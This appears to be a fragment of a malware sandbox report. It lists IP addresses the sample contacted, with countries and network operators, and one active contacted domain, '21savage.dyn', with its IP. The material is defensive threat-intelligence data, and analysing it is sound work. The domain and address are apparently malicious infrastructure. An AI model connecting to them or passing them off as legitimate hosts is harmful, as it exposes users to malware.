106.210.50.70
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
38.121.109.100
 unknown United States
174 COGENT-174US false
15.253.199.137
 unknown United States
71 HP-INTERNET-ASUS false
203.246.219.166
 unknown Korea Republic of
6619 SAMSUNGSDS-AS-KRSamsungSDSIncKR false
168.21.81.25
 unknown United States
3479 PEACHNET-AS1US false
194.37.40.17
 unknown Austria
8445 SALZBURG-AG-ASAT false
102.118.168.28
 unknown Mauritius
23889 MauritiusTelecomMU false
178.180.161.44
 unknown Poland
12912 TMPL false
11.117.60.139
 unknown United States
27651 ENTELCHILESACL false
11.254.231.246
 unknown United States
3356 LEVEL3US false
117.179.115.63
 unknown China
132525 CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp false
206.165.116.252
 unknown United States
3549 LVLT-3549US false
109.12.69.91
 unknown France
15557 LDCOMNETFR false
170.91.237.164
 unknown United States
7018 ATT-INTERNET4US false
73.1.0.98
 unknown United States
7922 COMCAST-7922US false

Contacted Domains

Name IP Active
21savage.dyn 156.244.19.135 true